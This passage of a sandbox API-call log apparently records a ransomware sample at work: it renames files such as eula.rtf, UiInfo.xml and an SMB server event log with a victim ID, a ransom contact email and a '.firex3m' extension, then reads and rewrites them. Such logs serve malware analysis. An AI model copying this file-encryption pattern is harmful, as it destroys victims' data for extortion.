Sleep (dwMilliseconds=0x1) [0081.566] Sleep (dwMilliseconds=0x1) [0081.580] Sleep (dwMilliseconds=0x1) [0081.601] Sleep (dwMilliseconds=0x1) [0081.612] Sleep (dwMilliseconds=0x1) [0081.630] Sleep (dwMilliseconds=0x1) [0081.663] Sleep (dwMilliseconds=0x1) [0081.684] Sleep (dwMilliseconds=0x1) [0081.712] Sleep (dwMilliseconds=0x1) [0081.754] Sleep (dwMilliseconds=0x1) [0081.779] Sleep (dwMilliseconds=0x1) [0081.834] Sleep (dwMilliseconds=0x1) [0081.847] Sleep (dwMilliseconds=0x1) [0081.888] Sleep (dwMilliseconds=0x1) [0081.913] Sleep (dwMilliseconds=0x1) [0081.924] Sleep (dwMilliseconds=0x1) [0081.945] Sleep (dwMilliseconds=0x1) [0081.964] Sleep (dwMilliseconds=0x1) [0081.973] Sleep (dwMilliseconds=0x1) [0081.984] Sleep (dwMilliseconds=0x1) [0082.006] Sleep (dwMilliseconds=0x1) [0082.033] Sleep (dwMilliseconds=0x1) [0082.053] Sleep (dwMilliseconds=0x1) [0082.065] Sleep (dwMilliseconds=0x1) [0082.115] Sleep (dwMilliseconds=0x1) [0082.129] Sleep (dwMilliseconds=0x1) [0082.155] Sleep (dwMilliseconds=0x1) [0082.196] Sleep (dwMilliseconds=0x1) [0082.214] Sleep (dwMilliseconds=0x1) [0082.233] Sleep (dwMilliseconds=0x1) [0082.258] Sleep (dwMilliseconds=0x1) [0082.278] Sleep (dwMilliseconds=0x1) [0082.293] Sleep (dwMilliseconds=0x1) [0082.310] Sleep (dwMilliseconds=0x1) [0082.370] Sleep (dwMilliseconds=0x1) [0082.419] Sleep (dwMilliseconds=0x1) [0082.539] Sleep (dwMilliseconds=0x1) [0082.590] Sleep (dwMilliseconds=0x1) [0082.635] Sleep (dwMilliseconds=0x1) [0082.684] Sleep (dwMilliseconds=0x1) [0082.727] Sleep (dwMilliseconds=0x1) [0082.777] Sleep (dwMilliseconds=0x1) [0082.821] Sleep (dwMilliseconds=0x1) [0082.871] Sleep (dwMilliseconds=0x1) [0082.915] Sleep (dwMilliseconds=0x1) [0082.969] Sleep (dwMilliseconds=0x1) [0083.014] Sleep (dwMilliseconds=0x1) [0083.056] Sleep (dwMilliseconds=0x1) [0083.102] Sleep (dwMilliseconds=0x1) [0083.152] Sleep (dwMilliseconds=0x1) [0083.199] Sleep (dwMilliseconds=0x1) [0083.244] Sleep (dwMilliseconds=0x1) [0083.292] Sleep (dwMilliseconds=0x1) [0083.339] Sleep (dwMilliseconds=0x1) [0083.384] Sleep (dwMilliseconds=0x1) [0083.437] Sleep (dwMilliseconds=0x1) [0083.702] Sleep (dwMilliseconds=0x1) [0083.752] Sleep (dwMilliseconds=0x1) [0083.801] Sleep (dwMilliseconds=0x1) [0083.914] Sleep (dwMilliseconds=0x1) [0084.011] Sleep (dwMilliseconds=0x1) [0084.094] Sleep (dwMilliseconds=0x1) [0084.201] Sleep (dwMilliseconds=0x1) [0084.344] Sleep (dwMilliseconds=0x1) [0084.737] Sleep (dwMilliseconds=0x1) [0084.812] Sleep (dwMilliseconds=0x1) [0084.876] Sleep (dwMilliseconds=0x1) [0084.962] Sleep (dwMilliseconds=0x1) [0085.044] Sleep (dwMilliseconds=0x1) [0085.127] Sleep (dwMilliseconds=0x1) [0085.175] Sleep (dwMilliseconds=0x1) [0085.342] Sleep (dwMilliseconds=0x1) [0085.394] Sleep (dwMilliseconds=0x1) [0085.732] Sleep (dwMilliseconds=0x1) [0085.835] Sleep (dwMilliseconds=0x1) [0085.959] Sleep (dwMilliseconds=0x1) [0086.080] Sleep (dwMilliseconds=0x1) [0086.188] Sleep (dwMilliseconds=0x1) [0086.235] Sleep (dwMilliseconds=0x1) [0086.296] Sleep (dwMilliseconds=0x1) [0086.350] Sleep (dwMilliseconds=0x1) [0086.590] Sleep (dwMilliseconds=0x1) [0086.895] Sleep (dwMilliseconds=0x1) [0087.093] Sleep (dwMilliseconds=0x1) [0087.470] Sleep (dwMilliseconds=0x1) [0089.022] SysReAllocStringLen (in: pbstr=0x6afff7c*=0x0, psz="C:\\588bce7c90097ed212\\1037\\eula.rtf", len=0x23 | out: pbstr=0x6afff7c*="C:\\588bce7c90097ed212\\1037\\eula.rtf") returned 1 [0089.022] GetProcessHeap () returned 0x630000 [0089.022] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6b1268, Size=0xc) returned 0x6b11f0 [0089.022] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1037\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1037\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6b0 [0089.022] CloseHandle (hObject=0x6b0) returned 1 [0089.022] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6afef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0089.022] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\1037\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1037\\eula.rtf"), lpNewFileName="C:\\588bce7c90097ed212\\1037\\eula.rtf.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\588bce7c90097ed212\\1037\\eula.rtf.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0089.023] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6afef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0089.023] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1037\\eula.rtf.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x6affc6c | out: lpFindFileData=0x6affc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x1ac3, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="EULART~1.FIR")) returned 0x6d5580 [0089.023] FindClose (in: hFindFile=0x6d5580 | out: hFindFile=0x6d5580) returned 1 [0089.023] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1037\\eula.rtf.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\588bce7c90097ed212\\1037\\eula.rtf.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6b0 [0089.023] GetProcessHeap () returned 0x630000 [0089.023] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1ae1) returned 0x72cf38 [0089.023] GetProcessHeap () returned 0x630000 [0089.023] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1ae1) returned 0x6ff02b8 [0089.024] SetFilePointerEx (in: hFile=0x6b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.024] ReadFile (in: hFile=0x6b0, lpBuffer=0x72cf38, nNumberOfBytesToRead=0x1ac0, lpNumberOfBytesRead=0x6afff0c, lpOverlapped=0x0 | out: lpBuffer=0x72cf38*, lpNumberOfBytesRead=0x6afff0c*=0x1ac0, lpOverlapped=0x0) returned 1 [0090.308] GetProcessHeap () returned 0x630000 [0090.309] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6e8b90 [0090.309] SetFilePointerEx (in: hFile=0x6b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.309] WriteFile (in: hFile=0x6b0, lpBuffer=0x6ff02b8*, nNumberOfBytesToWrite=0x1ac0, lpNumberOfBytesWritten=0x6afff0c, lpOverlapped=0x0 | out: lpBuffer=0x6ff02b8*, lpNumberOfBytesWritten=0x6afff0c*=0x1ac0, lpOverlapped=0x0) returned 1 [0090.309] SetFilePointerEx (in: hFile=0x6b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.309] WriteFile (in: hFile=0x6b0, lpBuffer=0x6ff1d77*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x6afff0c, lpOverlapped=0x0 | out: lpBuffer=0x6ff1d77*, lpNumberOfBytesWritten=0x6afff0c*=0x20, lpOverlapped=0x0) returned 1 [0090.309] SetFilePointerEx (in: hFile=0x6b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.309] WriteFile (in: hFile=0x6b0, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6afff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x6afff0c*=0x4, lpOverlapped=0x0) returned 1 [0090.309] CloseHandle (hObject=0x6b0) returned 1 [0090.310] GetProcessHeap () returned 0x630000 [0090.310] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6ff02b8 | out: hHeap=0x630000) returned 1 [0090.310] GetProcessHeap () returned 0x630000 [0090.310] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x72cf38 | out: hHeap=0x630000) returned 1 [0090.310] GetProcessHeap () returned 0x630000 [0090.310] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6e8b90 | out: hHeap=0x630000) returned 1 [0090.310] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6afef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0090.310] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1037\\eula.rtf.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x6affcc4 | out: lpFindFileData=0x6affcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0xfbc790dc, ftLastWriteTime.dwHighDateTime=0x1d5e216, nFileSizeHigh=0x0, nFileSizeLow=0x1ae7, dwReserved0=0x9807496, dwReserved1=0x72cf30, cFileName="eula.rtf.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="EULART~1.FIR")) returned 0x6d51c0 [0090.311] FindClose (in: hFindFile=0x6d51c0 | out: hFindFile=0x6d51c0) returned 1 [0090.311] Sleep (dwMilliseconds=0x1) [0091.467] SysReAllocStringLen (in: pbstr=0x6afff7c*=0x0, psz="C:\\588bce7c90097ed212\\2052\\eula.rtf", len=0x23 | out: pbstr=0x6afff7c*="C:\\588bce7c90097ed212\\2052\\eula.rtf") returned 1 [0091.467] GetProcessHeap () returned 0x630000 [0091.467] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x699a98, Size=0x20) returned 0x6e8f40 [0091.467] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2052\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\2052\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6c0 [0091.510] CloseHandle (hObject=0x6c0) returned 1 [0091.510] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6afef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0091.511] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\2052\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\2052\\eula.rtf"), lpNewFileName="C:\\588bce7c90097ed212\\2052\\eula.rtf.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\588bce7c90097ed212\\2052\\eula.rtf.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0091.511] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6afef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0091.511] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\2052\\eula.rtf.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x6affc6c | out: lpFindFileData=0x6affc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x16c3, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="EULART~1.FIR")) returned 0x6d53c0 [0091.511] FindClose (in: hFindFile=0x6d53c0 | out: hFindFile=0x6d53c0) returned 1 [0091.512] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2052\\eula.rtf.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\588bce7c90097ed212\\2052\\eula.rtf.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6c0 [0091.512] GetProcessHeap () returned 0x630000 [0091.512] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x16e1) returned 0x672b30 [0091.512] GetProcessHeap () returned 0x630000 [0091.512] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x16e1) returned 0x72cf38 [0091.512] SetFilePointerEx (in: hFile=0x6c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.512] ReadFile (in: hFile=0x6c0, lpBuffer=0x672b30, nNumberOfBytesToRead=0x16c0, lpNumberOfBytesRead=0x6afff0c, lpOverlapped=0x0 | out: lpBuffer=0x672b30*, lpNumberOfBytesRead=0x6afff0c*=0x16c0, lpOverlapped=0x0) returned 1 [0091.535] GetProcessHeap () returned 0x630000 [0091.535] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6e8960 [0091.535] SetFilePointerEx (in: hFile=0x6c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.535] WriteFile (in: hFile=0x6c0, lpBuffer=0x72cf38*, nNumberOfBytesToWrite=0x16c0, lpNumberOfBytesWritten=0x6afff0c, lpOverlapped=0x0 | out: lpBuffer=0x72cf38*, lpNumberOfBytesWritten=0x6afff0c*=0x16c0, lpOverlapped=0x0) returned 1 [0091.535] SetFilePointerEx (in: hFile=0x6c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.535] WriteFile (in: hFile=0x6c0, lpBuffer=0x72e5f7*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x6afff0c, lpOverlapped=0x0 | out: lpBuffer=0x72e5f7*, lpNumberOfBytesWritten=0x6afff0c*=0x20, lpOverlapped=0x0) returned 1 [0091.535] SetFilePointerEx (in: hFile=0x6c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.535] WriteFile (in: hFile=0x6c0, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6afff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x6afff0c*=0x4, lpOverlapped=0x0) returned 1 [0091.535] CloseHandle (hObject=0x6c0) returned 1 [0091.536] GetProcessHeap () returned 0x630000 [0091.536] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x72cf38 | out: hHeap=0x630000) returned 1 [0091.536] GetProcessHeap () returned 0x630000 [0091.536] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x672b30 | out: hHeap=0x630000) returned 1 [0091.536] GetProcessHeap () returned 0x630000 [0091.536] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6e8960 | out: hHeap=0x630000) returned 1 [0091.536] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6afef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0091.537] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\2052\\eula.rtf.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x6affcc4 | out: lpFindFileData=0x6affcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0xfc8189f3, ftLastWriteTime.dwHighDateTime=0x1d5e216, nFileSizeHigh=0x0, nFileSizeLow=0x16e7, dwReserved0=0x9807496, dwReserved1=0x672b28, cFileName="eula.rtf.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="EULART~1.FIR")) returned 0x6d5040 [0091.537] FindClose (in: hFindFile=0x6d5040 | out: hFindFile=0x6d5040) returned 1 [0091.537] Sleep (dwMilliseconds=0x1) [0092.613] SysReAllocStringLen (in: pbstr=0x6afff7c*=0x0, psz="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml", len=0x29 | out: pbstr=0x6afff7c*="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml") returned 1 [0092.613] GetProcessHeap () returned 0x630000 [0092.613] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6d4f40, Size=0x34) returned 0x6d5200 [0092.613] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\extended\\uiinfo.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x684 [0092.614] CloseHandle (hObject=0x684) returned 1 [0092.614] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6afef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0092.615] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\extended\\uiinfo.xml"), lpNewFileName="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\588bce7c90097ed212\\extended\\uiinfo.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0092.617] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6afef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0092.617] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x6affc6c | out: lpFindFileData=0x6affc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79a6a00, ftCreationTime.dwHighDateTime=0x1ca5de3, ftLastAccessTime.dwLowDateTime=0x79a6a00, ftLastAccessTime.dwHighDateTime=0x1ca5de3, ftLastWriteTime.dwLowDateTime=0x79a6a00, ftLastWriteTime.dwHighDateTime=0x1ca5de3, nFileSizeHigh=0x0, nFileSizeLow=0x988a, dwReserved0=0x0, dwReserved1=0x0, cFileName="UiInfo.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="UIINFO~1.FIR")) returned 0x6d52c0 [0092.617] FindClose (in: hFindFile=0x6d52c0 | out: hFindFile=0x6d52c0) returned 1 [0092.617] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\588bce7c90097ed212\\extended\\uiinfo.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x684 [0092.617] GetProcessHeap () returned 0x630000 [0092.617] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x98a1) returned 0x700b80 [0092.618] GetProcessHeap () returned 0x630000 [0092.618] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x98a1) returned 0x6ec0048 [0092.618] SetFilePointerEx (in: hFile=0x684, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.618] ReadFile (in: hFile=0x684, lpBuffer=0x700b80, nNumberOfBytesToRead=0x9880, lpNumberOfBytesRead=0x6afff0c, lpOverlapped=0x0 | out: lpBuffer=0x700b80*, lpNumberOfBytesRead=0x6afff0c*=0x9880, lpOverlapped=0x0) returned 1 [0098.380] GetProcessHeap () returned 0x630000 [0098.380] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6e8730 [0098.380] SetFilePointerEx (in: hFile=0x684, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.380] WriteFile (in: hFile=0x684, lpBuffer=0x6ec0048*, nNumberOfBytesToWrite=0x9880, lpNumberOfBytesWritten=0x6afff0c, lpOverlapped=0x0 | out: lpBuffer=0x6ec0048*, lpNumberOfBytesWritten=0x6afff0c*=0x9880, lpOverlapped=0x0) returned 1 [0098.380] SetFilePointerEx (in: hFile=0x684, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.380] WriteFile (in: hFile=0x684, lpBuffer=0x6ec98c7*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x6afff0c, lpOverlapped=0x0 | out: lpBuffer=0x6ec98c7*, lpNumberOfBytesWritten=0x6afff0c*=0x20, lpOverlapped=0x0) returned 1 [0098.380] SetFilePointerEx (in: hFile=0x684, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.381] WriteFile (in: hFile=0x684, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6afff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x6afff0c*=0x4, lpOverlapped=0x0) returned 1 [0098.381] CloseHandle (hObject=0x684) returned 1 [0098.382] GetProcessHeap () returned 0x630000 [0098.382] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6ec0048 | out: hHeap=0x630000) returned 1 [0098.386] GetProcessHeap () returned 0x630000 [0098.386] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x700b80 | out: hHeap=0x630000) returned 1 [0098.387] GetProcessHeap () returned 0x630000 [0098.387] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6e8730 | out: hHeap=0x630000) returned 1 [0098.387] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6afef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0098.387] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x6affcc4 | out: lpFindFileData=0x6affcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79a6a00, ftCreationTime.dwHighDateTime=0x1ca5de3, ftLastAccessTime.dwLowDateTime=0x79a6a00, ftLastAccessTime.dwHighDateTime=0x1ca5de3, ftLastWriteTime.dwLowDateTime=0x9614ab, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x98ae, dwReserved0=0x9807496, dwReserved1=0x700b78, cFileName="UiInfo.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="UIINFO~1.FIR")) returned 0x6d4e40 [0098.387] FindClose (in: hFindFile=0x6d4e40 | out: hFindFile=0x6d4e40) returned 1 [0098.387] Sleep (dwMilliseconds=0x1) [0099.887] Sleep (dwMilliseconds=0x1) [0101.150] Sleep (dwMilliseconds=0x1) [0101.868] Sleep (dwMilliseconds=0x1) [0102.279] Sleep (dwMilliseconds=0x1) [0102.476] Sleep (dwMilliseconds=0x1) [0102.664] Sleep (dwMilliseconds=0x1) [0102.929] Sleep (dwMilliseconds=0x1) [0103.089] Sleep (dwMilliseconds=0x1) [0103.196] Sleep (dwMilliseconds=0x1) [0103.498] Sleep (dwMilliseconds=0x1) [0104.401] SysReAllocStringLen (in: pbstr=0x6afff7c*=0x0, psz="C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx", len=0x36 | out: pbstr=0x6afff7c*="C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx") returned 1 [0104.402] GetProcessHeap () returned 0x630000 [0104.402] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6ef158, Size=0x48) returned 0x64a3b8 [0104.406] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4connectivity.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b8 [0104.407] CloseHandle (hObject=0x4b8) returned 1 [0104.407] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6afef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0104.417] MoveFileW (lpExistingFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4connectivity.evtx"), lpNewFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\logs\\microsoft-windows-smbserver%4connectivity.evtx.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0104.418] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6afef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0104.418] FindFirstFileW (in: lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x6affc6c | out: lpFindFileData=0x6affc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb19dd19, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcb19dd19, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1dd3053, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x2001517, dwReserved1=0x0, cFileName="Microsoft-Windows-SMBServer%4Connectivity.evtx.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="MI24D4~1.FIR")) returned 0x6d4e00 [0104.418] FindClose (in: hFindFile=0x6d4e00 | out: hFindFile=0x6d4e00) returned 1 [0104.418] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\logs\\microsoft-windows-smbserver%4connectivity.evtx.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b8 [0104.418] GetProcessHeap () returned 0x630000 [0104.418] RtlAllocateHeap 